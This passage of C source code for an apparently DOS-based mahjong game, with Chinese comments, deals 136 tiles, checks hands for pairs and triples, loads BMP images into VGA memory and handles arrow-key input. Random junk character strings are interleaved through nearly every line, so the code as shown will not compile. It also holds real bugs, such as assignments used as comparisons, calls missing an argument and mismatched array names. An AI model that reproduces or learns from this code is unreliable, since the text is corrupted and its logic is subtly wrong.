% D' P0 e# g# U7 |5 G+ visthree(test,tt-2); , c. ]- ~2 ~/ {; w1 L) r
}
/ p2 ?6 e- W$ `+ o: q1 `8 F1 g}
" y- p! `0 @2 `2 Q$ _$ Telse if(tt==9)
1 T+ R; {, x  q4 A( ?6 ?" `7 K9 f, ^isthree(pt,tt);" n; u9 f  h8 D
else if(tt==11)
6 A& l; }- |$ Rfor(i=0;i&lt;10;i++)  n3 a! O) C: t9 g( v$ S
{
$ Q7 [8 d+ S6 F" A% D% xfor(j=0;j&lt;2;j++), A) m0 f7 C4 w2 m0 E
{test[j]=pt[i+j];
5 s0 |2 f' E# w: x}
5 X: D$ I6 C) Dif(istwo(test))
9 C; t! J. e# a! R{ ill=0;  \8 ?$ ]0 N5 K6 B2 t- u- O, ^
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) {4 `9 v7 `. L: P, d{if(kl==i): x% f0 X8 X6 x% q5 A3 g4 ~
{
6 s# d) {4 b5 C% x# bkl=kl+2;% `0 N6 I& p* G1 d3 Q7 a3 t0 y6 z3 J
if(kl==11)6 n5 P3 W  {* t5 S# J2 m( ^
break;% V, ]+ ^9 o2 i/ n" I
}
" _5 S. |& i+ }; b) ]: Vtest[ill++]=pt[kl];
# ~$ _' ^% D6 W, ^}- [7 H- _" n! M% }6 Z
isthree(test,tt-2);
" y1 }! K4 G: F$ k3 t# F0 n}: Y0 x7 J- T$ X3 @( a3 z
}
4 E- T$ `' N# t) k* \else if(tt=12)
+ F4 E+ z, T  E/ f* H) e4 R8 m, Uisthree(pt,tt);/ Z9 _* K) q' m# i/ j4 b. C
else if(tt=14)
0 w, ?# ?- X5 hfor(i=0;i&lt;13;i++)
/ N6 i) b& \" _; n{" Y, ]+ T* f% K. x: Z
for(j=0;j&lt;2;j++)7 J3 Q5 f& Q, w* k0 A
{test[j]=pt[i+j]; & X+ U9 j+ S: X# s
}3 \) _0 o. h: x7 i. ~  M/ b7 l
if(istwo(test))2 M7 V2 \  x+ _3 Z* S+ _1 v6 a
{ ill=0;3 q# J9 L8 R$ p! k% a
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/6 `& [1 i1 G' H8 C3 ]/ G
{if(kl==i)
0 \3 K7 ~3 s0 D8 V! p{
* A3 Y6 k8 _: |' k  A4 X! Zkl=kl+2;# E+ i$ ?# Y( ^5 h/ i3 p
if(kl==14)4 s/ R( g5 [/ o) R: R" y& a2 ~' `9 \
break;
4 n7 h  @1 d3 H}1 j9 q8 }0 t( c
test[ill++]=pt[kl];# a( w) M* x* ?% i$ n( \# p5 Y
}9 K/ _" y5 X" u* K9 d0 }1 u* M
isthree(test,tt-2); 8 r, v; M$ d8 x6 w4 ?
}
4 |; X0 h5 c5 r* u) s6 n}% K# L/ N& ^& i1 m5 ?0 r, r. y8 K
if(ii==2)3 b" q8 P; ~6 [5 f3 f9 z
istwo(pi);3 B* `% e. a1 H
else if(ii==3)7 Q$ c6 }# L1 d" W: v
isthree(pi,ii);
( Z8 }# P! j0 U# O4 c6 Z  H# Zelse if(ii==5)1 ^  d0 z: c$ i7 d  A
/*pi[5]原始牌数组,假设已经升序排列*/* ?9 y$ s3 K; ~) o
/*test[3]用来放置测试牌的数组*/0 m. m$ `- L3 \; ^7 d/ C; O4 l
for(i=0;i&lt;4;i++)
# |# v; d' G  j. A( q. l{
& E) s5 ~3 I9 x! A! K5 |( \for(j=0;j&lt;2;j++)5 Y+ {9 u0 G% Y3 U/ {0 y
{test[j]=pi[i+j];
& A+ d, B5 `1 e; O( z1 O6 p}0 y6 A9 [: l3 Q! L% \! `
if(istwo(test))
; \, i5 c, Z) H8 n% `  S{ ill=0;
, Q* e/ M% M5 {0 ]  Zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
0 y2 ?: S* }9 O! @  F, K- R{if(kl==i)
$ Z6 Q  S5 {3 m{
2 U7 E% N! H: V, ~! rkl=kl+2;
) g1 w. q+ x% J- z- {if(kl==5)" j6 J- r) X) q# w7 S
break;2 {( v, @# O9 s9 t
}9 ~0 E' ^3 A2 J; C
test[ill++]=pw[kl];
) y/ k0 Y& v+ R, s) p5 `}
9 {2 I- [: H3 G. Q+ G, ]+ K! u% P. _% D; oisthree(test);, E# n! U& c  G# @! ?
}! I) U8 ]9 l3 z# J3 C7 }! ?
}
. e) x* N% K3 P# b$ Y6 E3 K( Gelse if(ii==6); \- ~' b, m9 d  M  s3 C" E
isthree(pi,ii);
3 R: I1 G' d) Q5 selse if(ii==8)
. ?& o3 W7 \) y/ E$ P' P) W8 Pfor(i=0;i&lt;7;i++)6 K( p  I1 R# J0 H
{
1 ^7 S3 }* W- G( B' Jfor(j=0;j&lt;2;j++)
& y1 `4 k9 K8 o: j* |) C{test[j]=pi[i+j];
/ ^+ ?, S( h& t: O2 U3 z4 Y}
7 A8 b- q7 N# g% I: ]% Pif(istwo(test))( H! \$ I+ `: Q
{ ill=0;
4 G8 j+ I: h3 G. `+ \( Nfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
& N% ]7 Y1 ~* c9 e, c1 Y' c3 l{if(kl==i)$ ~8 R2 q. Z! n3 `" G- Z/ e
{
) B7 @. J$ r4 E3 ~( i: G. U" u2 E+ hkl=kl+2;" t; V$ ?0 X4 j0 u
if(kl==8)
; w/ l) n5 `& N$ _) @break;
( n$ c! ^0 |$ @; s) t7 G}
  W. B0 G) r# x. ktest[ill++]=pi[kl];
, E4 B2 Q7 U$ t1 y5 o}4 ^$ F1 h/ f% r0 K% L* A& V
isthree(test,ii-2);
) m8 ~/ L5 o7 o5 j4 h}6 {* X9 z; `* ?4 D* m1 d4 X: |6 W/ R" `
} / b  f5 i$ o  z, N3 x
else if(ii==9)# y2 y' r5 x- H3 Z4 _' j* {
isthree(pi,ii);0 @) D6 S% J3 E  V1 g
else if(ii==11)
5 B* e, O, i* ]) l3 h' R1 bfor(i=0;i&lt;10;i++)
3 i0 x' u/ Q" l9 ^; S{
) m  v: D3 l. Y* efor(j=0;j&lt;2;j++)7 ^+ H# ]* t( q% H( r
{test[j]=pi[i+j];
+ k& U+ Y8 Z! N* i}6 t' A5 u, t0 K9 f0 e, ~3 {
if(istwo(test))5 F6 k) o/ _$ E: G& ^0 a3 i
{ ill=0;; T5 p  {) C/ H$ H8 u/ e
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/7 `0 F2 r5 i& i. q" |- C2 g9 m5 T
{if(kl==i)
: _5 }: d& x7 ?3 P, L{' {' H) o0 m7 ?0 Z
kl=kl+2;  K8 I2 t& |% Q/ b8 x2 ~
if(kl==11)
; v, h; ~1 i2 Q, G1 V: Kbreak;
& v, F1 d: W3 X! J}
/ c0 z. w$ v' }& E0 ptest[ill++]=pi[kl];, Y) x, ?5 X5 M) K
}* u& r9 \+ }3 i- d" g' m4 B
isthree(test,ii-2);
& T+ s! F: \4 A7 [& `' d6 e/ c( u7 Z}. X! _5 r3 k  m; l  `+ k" b
}
: G" R0 }( Z! Melse if(ii=12)# ^' N+ j+ s" g$ C4 E. t
isthree(pi,ii);
+ E. n! P& W1 K. xelse if(ii=14)
1 l- i8 n4 F% Ofor(i=0;i&lt;13;i++)
5 K, S! q* ?2 S: Q7 H7 A{
5 w4 U+ k( N3 `5 w- x2 afor(j=0;j&lt;2;j++)4 M8 v1 U0 L) s! n: z
{test[j]=pi[i+j];
+ X! V. ^* ^& G; A}" z% \3 L: ]* p( T! h
if(istwo(test))
/ }& z& o4 N. a6 l3 E{ ill=0;
+ E8 O6 a9 a& [' B/ l7 Z; ]& Gfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: x4 X2 j, p5 N{if(kl==i)
8 B, _5 M1 y, Z# ~! {/ ^; U& p# r{& j! G% C% W; H
kl=kl+2;4 t2 {5 H7 U* m
if(kl==14)
* i1 [. V1 c% S, ^8 w+ `4 N( ?7 Fbreak;3 E$ w, }; g& D/ _( r4 Y+ M
}( x3 k# J- }4 ~, S) U
test[ill++]=pi[kl];5 O5 P9 `, E# a" V/ X, ^
}
( x5 M2 \- P! ?9 ~. I5 fisthree(test,ii-2);
. |# X+ H$ R/ K7 S}0 q2 H* C! u5 R! q
}
4 m( j, S: r! T. B) W3 Kif(ff==2)& U2 V* G3 ^/ y1 ?* Y
istwo(pf);
3 s3 S3 D1 U$ Belse if(ff==3)1 b% |1 v+ I0 n& W1 p* `- S
isthree(pf,ff);8 F$ L0 S" s$ r/ J* h, C
else if(ff==5)
& a- U# c1 n# \) q+ }+ p7 ~/*pf[5]原始牌数组,假设已经升序排列*/& z+ z$ w8 R" t3 x" B- i
/*test[3]用来放置测试牌的数组*/
% d3 |9 O7 [8 C2 c5 ^$ Hfor(i=0;i&lt;4;i++)
1 Q1 x- D9 C  F/ H; ~. G3 M- @& n- P" W{2 {* x( _# Z$ f0 t8 k; D1 t  g
for(j=0;j&lt;2;j++)
6 G# b- P" {/ s+ v" r0 z1 J: h{test[j]=pf[i+j];
$ @7 Y1 f, ~' {. V}
. p" j1 b  _* J& j; L3 _if(istwo(test))
( U( O# v# j7 D/ B6 y1 |{ ill=0;3 ], ^& C% q+ n- e, w: l
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/- ~  m0 K) O# P/ O( ~% v, {
{if(kl==i)
- N/ j' z) Q- O) E{* `* O1 E/ v) B! N) u$ G+ G
kl=kl+2;2 a* S1 J8 g( l( {$ H
if(kl==5)$ F5 C. P( l5 j
break;' q4 a+ {" ^9 _! ]" N- Z9 Z5 M$ o
}8 J# U- c' G5 e7 x8 t5 E3 |, v% `
test[ill++]=pf[kl];
4 S1 i( y# ~- Y}% I/ S( H0 M; D. V. v" V
isthree(test);
2 s' r6 f% }& }# _}: e: I6 u9 O* o: T0 J3 h' k
}
0 h' J3 g) r3 L. }' q4 ^: e5 eelse if(ff==6)! B7 ~$ W' `: P* O( h
isthree(pf,ff);
$ |0 a8 j1 r& oelse if(ff==8)* ^! \7 }) _0 f
for(i=0;i&lt;7;i++)- y9 Q9 f- A# W  y1 o" a: ^$ G
{+ N( k1 G, R, p1 q) Z4 @
for(j=0;j&lt;2;j++)
  Y; {" A& t: b! n2 [; x{test[j]=pf[i+j];
9 n& d4 u6 y0 M% x- r# R# h* ~  h}; d0 e. L4 G3 Q0 c. Z! z
if(istwo(test))
; ~0 p8 J& O* P4 f% z3 J{ ill=0;, Y: r6 y$ r0 _% d/ I/ n3 |3 V
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/- o3 P, m0 |( l: {, t- Q! O
{if(kl==i)" P4 \# O, ]/ A
{. o: I- R! T2 q! I' A
kl=kl+2;2 c- A: B& l& U6 f
if(kl==8)
) m! f0 V: A/ x  D, d, abreak;
2 x7 o  Q( F! T3 t2 P* T# ]2 m}) L+ a, a" q! ~0 V4 h$ M5 A0 u
test[ill++]=pf[kl];
5 S& X# \1 y$ P; k}
' Z1 R0 [7 [' a+ _, nisthree(test,ff-2); 0 L# m( x$ k$ W/ X
}3 \6 D" O! t: J
} 1 D$ t# X  V2 \: K
else if(ff==9)
' K; H9 B- T# visthree(pw,ww);
# j2 @! _/ B& J5 K, q# J1 Selse if(ff==11)5 d" E- c* Z. I  j! V- Y9 Y# k
for(i=0;i&lt;10;i++)
; L6 r" ?. n; f. M) B. ~% t9 N. J/ L{
) L, S6 a8 G1 }" M/ |4 q. C' dfor(j=0;j&lt;2;j++)
, P" I6 D. h1 B{test[j]=pf[i+j]; 0 }4 D" Y5 i* |
}. h' @" b/ s5 Y6 G% K
if(istwo(test)), B1 d" {7 R' ~$ r  X
{ ill=0;
' ~4 w' b6 _5 U/ r5 B1 Ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
8 }3 U$ }! o9 }5 x) i  `{if(kl==i)
8 F; S% [* Y  l4 z0 p{
" Y9 n3 f6 y% x( O) y9 y! Y6 Ykl=kl+2;0 y9 ]1 U1 D  j4 ]
if(kl==11)' V6 i& J0 L& G4 z, X; O- _
break;, X" }% u4 r: Q' e: g/ e$ e
}
- j, t) M) b8 j3 N; k7 e) ^% U8 [; mtest[ill++]=pf[kl];
6 b, P% k8 d7 g7 E4 D. l}# ^( p* t3 D4 l& v+ l+ E, H0 u5 P
isthree(test,ff-2); & p$ a4 i+ O+ {; f4 ]
}
$ ]. l4 ]$ X0 [}
; ?) u$ g+ |  C! r9 gelse if(ff=12)
0 L! N8 W' l9 `4 j! u* C" k' {. Cisthree(pf,ff);+ ]6 b/ c* J9 `
else if(ff=14)4 `" _% Y( _8 s! ~
for(i=0;i&lt;13;i++)5 C. {; B% Q$ Q
{
- K! w6 [) j" b- M7 bfor(j=0;j&lt;2;j++)" Q( k# \. y8 f# }
{test[j]=pf[i+j];
* j. ?0 q, J+ E7 M% b- D}
3 G( K$ ^7 e; A2 |2 Y0 K+ }4 |if(istwo(test))
' s* v% W9 H! f, F* `{ ill=0;
) [, ~; ~9 F8 _( d7 }for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- V, _# n: y9 f% v
{if(kl==i)5 w- U& n9 a. {0 k8 z- `, A) S
{
9 x* `; L- W. z8 \kl=kl+2;
) n* f$ d3 {% g5 g, O& Iif(kl==14)
8 `" P/ W0 a, Q, xbreak;
# S5 f$ y9 R- J/ S1 g) O0 z3 ^}
$ s3 R# N0 W8 v& f9 d, z  ]test[ill++]=pf[kl];* H% q# E5 g! A, y3 B$ d
}  Q$ G0 X1 F6 a$ s: I
isthree(test,ff-2);
9 O' B5 [7 }5 U9 E/ N# ]}
# G" }8 x. u6 p/ b6 T1 u/ Y5 K  b} 2 r* q* T$ @6 t2 s
}
  k5 G& A8 w0 W9 F! tvoid main(void). R% D; b. n- `( y5 t9 h
{
5 `& X6 {; f* q0 j6 m0 yFILE *bmp;( q. E. O9 D1 J6 z3 y
static char *name[2]={"ff.bmp","logo.bmp"};
2 R1 y7 X5 J1 Q+ A# Xchar *p;: N- d2 j) b% @8 k& H: |' H4 j3 J
int *lingshi;8 }9 }! H6 v, O- f% Y
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
: `2 Q: ?4 z! b1 [" u. Wint every=0,w=0,x1,x2,y1,y2,every1=0;" U9 ^. ?& W0 \$ I, J4 }7 l4 N$ w+ d7 V
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
0 {+ E( p% H5 P, \1 ?" c  O+ ^BYTE palette[256][3];( d7 N  u5 K0 l. |5 G- M3 A2 o
SETVGA;5 @8 X6 M/ R& j1 t
getch();5 Z( h6 Z& a3 r8 D$ g0 C
while(t--)/ `4 l. u$ r6 |2 S( C7 `: \9 n
{
0 q) {3 G+ g' P( dbmp=fopen(name[t],"rb");
( z* v( a8 j6 I# S/ {- ?! _fseek(bmp,54,SEEK_SET);7 b, A' R; h4 l4 I3 o3 j
for(i=0;i&lt;256;i++); F" I+ a, G- n+ b6 B( G
{- \6 y: m6 c6 ?' x* G/ R5 B
palette[2]=fgetc(bmp)&gt;&gt;2;
- y1 ^! a" I! N: k- {palette[1]=fgetc(bmp)&gt;&gt;2;
# m: N% ?9 b6 Y0 h! J! xpalette[0]=fgetc(bmp)&gt;&gt;2;
" A: t3 v1 S' Q9 j8 kfgetc(bmp);
& C6 O& x( n3 l6 h9 \+ dSet_Palette(i,palette[0],palette[1],palette[2]);
% ]0 B* ?& Z% v8 Z0 v}7 k0 Q$ u* G! _2 f6 G3 F4 F  Z
for (y=0;y&lt;200;y++)
# _$ ~- V0 `8 U. a6 |% p% Rfor(x=0;x&lt;320;x++), ~1 h: K$ z  g0 w1 J
pokeb(0xa000,y*320+x,fgetc(bmp));- K: u6 k$ s4 t3 {6 [  n* C2 V2 a
fclose(bmp);2 O) s+ R' b# C
getch();% k4 V2 Z3 S6 X! h5 B
}  n9 A. J& T- S  k, ~6 l; `( A
getch();0 I) T+ u4 H* k! ]8 j: y$ d) _
fillRectangle(0,0,320,200,0);
& J) {9 y+ p2 a5 a+ V  Cgetch();
0 U0 @# V$ R! p( }5 u' [randomize();4 `0 F% D, E8 m* `! i
me.m=onetothirteen;
) l4 K+ k0 f9 _; swhile(me.m&gt;0) /*先循环,给自己拿牌*/% g  ~. `# j3 B0 C* ~+ l
{
0 m7 L) ]3 M! {1 ?
7 h, h" i# o( a" A4 y: p* Y; mtemp=random(136);- Y" A9 T7 N9 J! ^
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)$ Z  y: l+ a6 n! @" [+ q
{+ h1 o( B; a+ v; t
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
9 W  z$ j8 R3 S7 K; m0 Zme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- Y3 @, Y; x6 Dme.pp[n].number=temp; /*第几张,用来排序*/6 x* Y' \, m% T$ W
m[temp].data2=1; /*判断牌是谁的*/3 U) v% b" _3 g) R
kk=1;
  h, g8 m0 o7 i6 s6 g1 G8 F}
. q+ K2 M! h6 K( _5 \, u1 }if(kk==0) /*判断如果又选择了,就从新再选*/6 U! v. x' j- q1 @1 _3 O5 R
{
) u; X; {1 u; q- Pme.m++;' M4 ^) J; K; W; c! V% _" }
n--;
% l0 _- c5 ?5 t0 D, b! C! w}  A' D3 N1 I2 Q! Q
me.m--;
1 M; e) C9 Z* ?1 O. a' cn++;/ d7 u" z8 g& x7 x4 C
kk=0;
# ~5 t' X& X% R% N  m2 X}
1 m1 G5 \# W. c+ U, C0 J8 ^! W8 Qme.m=12;8 m6 W+ J% H& u* d  `" Q
melipai(); /*理牌*/
# H" b  ?/ G  Q* ~  b1 d' s: P7 V' U' f4 J& ]" \
n=13;
% o8 p- T' \$ Jwhile(l&lt;n)7 z' o+ x) h; ?9 V
{8 v  g) S6 c% ^& N3 V
z=z+20;
+ T* M* B/ _3 t3 G! hshowbmp(l);
8 p, i2 p3 B' Q5 Y; e* D, K; al++;1 L8 y% R: e* _
* W; t% V- A6 j3 Y& N
}3 `: H% C( @. z) u5 M
randomize();
+ y3 P, s& ]: h: k/ `9 |! M& Z) y( o2 mcomputer.m=oneorthirteen;
# x6 F2 W) `1 H( H" L( pn=0;
6 r# W0 ?" f& g5 n& E! \while(computer.m&gt;0) /*循环,给对方拿牌*/
' \4 a2 `/ P  S0 d* J{1 R1 q+ j4 p5 i$ R4 a+ p& V
temp=random(136);
' }) p, w  _+ R3 c! s7 e; Pif(m[temp].data2==0 &amp;&amp; m[temp].data1==0); Z7 @% j8 Z& k4 V9 [2 q: H
{
9 e& ~8 b( r/ p! ^: Rcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
# K9 F$ E, q5 f6 A) E! R3 f. Q9 Z) Zcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/* W9 Z/ H0 {4 b8 G6 C
computer.pp[n].number=temp; /*第几张,用来排序*/
% P5 V7 t# L. G8 V. k& R) N4 Gm[temp].data2=2; /*判断牌是谁的,2为电脑*/3 a+ h# D* W% m2 J7 A5 I" }$ Q
kk=1;
  S0 l5 o1 j# {9 x) b7 V8 U}
7 p2 K9 g6 x- U1 ^5 kif(kk==0) /*判断如果又选择了,就从新再选*/0 j- G8 i7 O( ~
{
  _* _. [# u1 B% A. S- R9 `computer.m++;, X  b' \5 a  Z0 u
n--;! _6 |! W4 E# p( y, s
}3 k' |4 O7 f* {( m2 G
computer.m--;. R3 [( L/ W( O5 l$ d# t
n++;  v- o- d. o5 V1 N7 X
kk=0;
( C3 w+ a( p* a9 f0 A}
9 ^# I$ X' J7 r& D& k, ~computer.m=12;. N$ Z; j* C: z" A  {6 h
comlipai(); /*电脑理牌*/
+ k- c$ A5 @( @n=13;0 U! `2 O7 N. e) Q, B
while(ll&lt;n)3 x* \5 z( @1 Q
{
1 w5 o; H) j6 P0 y1 D& Jzy=zy+20;% V, e- G/ s! B; x# t
showybmp(ll);. k+ i/ ]' T- |% @" o* p# z& q
ll++;
) H- ]# [9 P2 n7 b2 P0 F7 n0 Q! F}/ N& g0 \  d- ]3 P, ]: ^9 Y

/ ~1 u; o% w. a8 L8 u/ a, m; X: cz=54400;
( t6 Y  ]* S1 ~% l# z, }while(key!=ESC)
+ ?1 ~6 u0 |4 ?* x{
( c; p! Q, i8 e/ W
- s' C  \0 D2 ~( N6 ?keyy=bioskey(0);0 t9 d9 U/ W% f+ Q6 g' [
if(keyy==LEFT)
6 u; D3 I$ v; t# }3 A4 j( P{ w=1;% x  ^. u  t, ~# Y9 A7 j3 @: T
if(every==0)  y) i6 {) z" K/ U5 Z. F% O2 P
{* S) [; j& |& X9 V6 A/ K( c& g
every=1;
1 I+ q% Q. ]& w, }: p# Kz=54440-5*320;2 K  n3 x' W1 t2 x$ p! ~) k, ~
7 e8 Z3 g6 {* K8 U) k, n
}
  k' K6 A# R# f( f- azz=zz+5*320;
% d( K; T* b- Z, Xshowbmp(every);) U2 Z* g3 V6 B) [1 M4 ~" m7 T4 R
if(every==0); P. U# A" _8 U  T
{- ?& m4 p' I; K; \3 ^8 `3 A) ?. B
x1=20;* r1 `6 F  f+ n4 x2 H
y1=165;8 U# f2 I/ ]" W0 F
fillRectangle(x1,y1,x1+20,y1+4,0);3 R7 n4 Z3 f0 P- ]$ Y
}& s& |! b& e" M3 q1 S
if(every==1)0 }& g0 r5 Q- H% s% y# |& X) _
{" G/ {. U" U5 ]6 v) `1 ~
x1=40;0 `0 T% l  x" r3 K* Y3 _% o
y1=165;
3 e% _0 O5 w% n. K0 tfillRectangle(x1,y1,x1+20,y1+4,0);9 X8 d. b' H+ G3 J6 f
}) P7 \+ f+ X# }. A) S
if(every==2)
+ M6 }& G: z4 l3 ]8 {{
. |! e% j: o% `4 B) Px1=60;4 W- f: T  S  H7 H( T# U4 e/ a# K
y1=165;5 p% U. l3 c- x8 {
fillRectangle(x1,y1,x1+20,y1+4,0);- d+ X: B; j& k* Q$ e& }! x% T
}0 n" O/ o9 p4 |! U; N2 k
if(every==3)
+ h3 k( @( M; |% F  |{7 ?+ K8 J7 l) u: C. a4 f2 O
x1=80;
& l' x1 f3 m7 \( a% Ny1=165;* M* z( M  N% J  X0 ?% w. |
fillRectangle(x1,y1,x1+20,y1+4,0);
8 ?* ^: ~  \& O7 y. W}
/ D* u3 m  q% M* w. }6 Pif(every==4)! ^6 r* v6 {* E- R% R
{1 `% l5 y: X( Z* _
x1=100;
4 d$ u6 T6 b; Zy1=165;  n" K, G4 v0 x+ ~/ \) c% p0 c) [
fillRectangle(x1,y1,x1+20,y1+4,0);
: w' c. i% ?) {}. @/ g! s5 l% s9 A2 Y7 x- K
if(every==5)
+ s; W" n3 n1 z; r2 w+ A7 j{
" B* L" @+ X5 E5 H/ p" P, Bx1=120;  }5 p# ?/ }7 w; A! j
y1=165;
) K/ H4 W# p4 o2 y2 C: G, A. efillRectangle(x1,y1,x1+20,y1+4,0);2 t2 p3 N# o$ B8 k: k
}: a- H/ _; W9 ~7 l6 @( F
if(every==6)6 o1 U- K* `3 _' s- W& l' V! N
{
# K$ t' i6 p! C* R" B# Zx1=140;
8 k8 H" ?& {* Xy1=165;
  w! A0 S% K4 AfillRectangle(x1,y1,x1+20,y1+4,0);
0 m' K8 e: W# D4 \& Y}9 j. S/ y! Y" j
if(every==7)2 d" Z& z6 u7 Y1 u+ ]' }4 U* c
{  x  J' U1 M/ v6 C  d
x1=160;
1 R* M; e/ B/ x! wy1=165;
# ~6 {" s# X2 b+ WfillRectangle(x1,y1,x1+20,y1+4,0);
" ^! U. ^: K* Q, X1 l}2 g* s1 n5 w; p4 N- U- k# c
if(every==8)! a, `9 t: i) M  J3 {
{
9 Q5 t' t/ p4 f8 o; \* Jx1=180;7 c, C7 A- n2 i7 g
y1=165;
* z7 p- h; ?6 G( \6 ^. I$ a1 afillRectangle(x1,y1,x1+20,y1+4,0);
1 J' W0 r& w5 y5 i8 k4 Z" P}6 v8 w* U$ B, `
if(every==9)
3 i9 a: j( b  y' b0 t3 k" d{
3 C/ v. e% w5 d& d6 j* ]x1=200;7 S) G+ n) V3 U8 `
y1=165;8 u! @. H* J9 A* F8 R4 K' F! n
fillRectangle(x1,y1,x1+20,y1+4,0);- J$ h9 K' r: ?7 P7 T- ?! R2 T5 b
}+ d+ `3 i- D' R, }8 n; D- T
if(every==10)
2 x4 I4 _* F3 P$ D! _) g+ t{8 \. j' {* ]/ z! a5 [' v
x1=220;( P; a+ F  S. @2 _  t/ V
y1=165;) Q: v; r8 e, W& L9 p% i
fillRectangle(x1,y1,x1+20,y1+4,0);, I+ n: x7 y7 C
}
8 r+ W$ K( e; rif(every==11): {# ?1 A7 O: ]  ]3 F
{# G% G$ \9 X  V3 A$ \$ _
x1=240;
/ }8 N, Z. B- {% C9 Vy1=165;  W5 f4 P: N/ D/ d
fillRectangle(x1,y1,x1+20,y1+4,0);
3 Z3 i, M2 ?5 R* F}
' n0 j- c4 [" Y+ x. r$ Iif(every==12)$ i  U1 ^. P/ D7 _
{
) d# d3 A0 p5 w* {x1=260;" }, F' l: [) m! w! t( I1 A  `
y1=165;. [( f, ?) k% ^/ i
fillRectangle(x1,y1,x1+20,y1+4,0);
2 g; R  G/ l+ T/ m}4 C0 m9 c9 \+ \( p
zz=0;
, J- b( t$ K7 C. H" f! Oevery--;
( j  P7 b( o$ C2 j( w9 `2 ?3 x  hz=z-20;
" M' ?  [2 M: {1 U" M4 H- Q6 {% T}; l# v3 m0 C& \: I8 u- Q
if(keyy==RIGHT)( l! e7 v& T# z
{ if(w==0)! c- i  n, P( j9 x5 G" H
{$ Q: {; }% z. Z3 x. C" a0 E9 n
z=54440-5*320;
; K  B, w6 r) f. _* |2 Zz=z-20;
3 m3 n# b$ x  mw=1;
: y% y: U$ m2 z1 K* I}
& w( D+ z( d' bif(every==12) / j1 i7 K9 U5 H, }
{
0 g' C: e0 X7 v" |every=11;$ Y+ I5 t3 F6 ~. }4 N3 {% ]
z=54640-5*320;6 ]& k( H# Z% Z/ D6 d% L
}2 u  T1 T$ Q/ m
zz=zz+5*320;) J' L" C& c9 x, l0 w+ O) W
showbmp(every);3 I# E4 ?3 d- [
if(every==0)# o. t2 z: L3 D: L
{
+ O9 L" R& G3 ]7 Q5 ?x1=20;
4 x& ^5 Y- {3 L& A: Q+ z" cy1=165;
) {# F8 S& L, nfillRectangle(x1,y1,x1+20,y1+4,0);, U* a; c% \1 z- X
}( u9 [/ I0 X9 B! o) B9 [
if(every==1)/ L! Y4 @; H7 n' M4 w/ m$ G, m
{% b7 }8 l3 c! o7 m2 N; O; X) w  n
x1=40;
( @* q- G5 f3 y  {y1=165;
; e  \/ H% t% P0 `fillRectangle(x1,y1,x1+20,y1+4,0);5 H; e3 @- J" [" V# S8 F
}
2 G2 x- Z! P9 H) x) Yif(every==2)7 K7 W  j0 t2 ^# m5 I" x
{
, I+ I, B! q; o4 xx1=60;5 V+ X; m: [5 R2 }+ X) P
y1=165;
. N8 v7 Y' ?# n9 X6 ~# a) RfillRectangle(x1,y1,x1+20,y1+4,0);# u# d- f% `5 T2 _
}
5 R0 ?# x8 v7 B( f4 \4 Kif(every==3)& b! C, U) \$ a/ a* K
{
4 _# X( Q1 K5 g+ T- ]- \, I5 qx1=80;
4 |" y& D$ j+ L! ~, y3 _y1=165;
% t9 \1 K3 O# K7 o* `5 NfillRectangle(x1,y1,x1+20,y1+4,0);/ S) E+ ^# g& R" n/ i8 ~
}( R  T& v* z; m, o4 n/ }, i' j
if(every==4)
6 m4 W( @( H, ?9 q{
8 f2 p% d* J& p. O: Qx1=100;0 j! b9 O7 F6 Y- l! J1 e2 p  L
y1=165;5 }8 B4 [5 y4 _# P
fillRectangle(x1,y1,x1+20,y1+4,0);- W  i6 j8 g% D! {' o
}& ]2 v5 G' ^. u. P: R" g) D
if(every==5)
7 q5 i1 S6 `5 {( @9 e{
6 M/ a' E$ ?: I* Dx1=120;
* s( i$ k1 K7 k& ^$ Gy1=165;
" ^# T4 B+ h4 Z0 o1 ^+ D! KfillRectangle(x1,y1,x1+20,y1+4,0);$ I1 `9 F) K& u$ s
}; E! B, }3 o* B+ h; v- Q
if(every==6)- R1 ?) @# w6 f7 c6 s) `4 A
{
9 S; R, A: u4 j" M3 Xx1=140;
4 K( t1 h% j, O" Py1=165;7 {4 n# P% @/ V! v3 _  H' q
fillRectangle(x1,y1,x1+20,y1+4,0);
. F8 h, F3 U# L8 g- ]}
( B, D# p, j( [( S! Iif(every==7), P! ~; |+ Y# r5 d5 D# Z- U  x
{
. |; X* q: a1 L- z. f$ cx1=160;
8 O, @4 ~7 M0 K. o2 sy1=165;- k2 s+ _" I9 Z: S+ T5 @
fillRectangle(x1,y1,x1+20,y1+4,0);
( [# ^+ m7 A! {+ t$ y}8 |9 j3 p/ w, D% _- \3 q; _. ~' s
if(every==8)8 u9 g: |& _! ]/ y; n/ \/ `9 X# Q
{
  M5 {7 p1 \8 x: ^x1=180;
' {1 w5 X: J* c9 a1 w% Py1=165;
" q- u: V$ ~$ N6 r- t7 `fillRectangle(x1,y1,x1+20,y1+4,0);* ?1 G5 i0 e. V! J+ q- C. i
}
. L2 l% P0 a4 e# rif(every==9)
8 u( s. ?# r# x* s4 _+ c  ^{& W4 S8 R+ h2 f4 Q5 w
x1=200;
5 @7 m4 x, E7 c6 P( }  z  Ny1=165;
- @( A, ?8 {$ W7 j9 a7 i" j& j; ufillRectangle(x1,y1,x1+20,y1+4,0);, z0 Q' d6 N' \1 ?5 {% ^
}
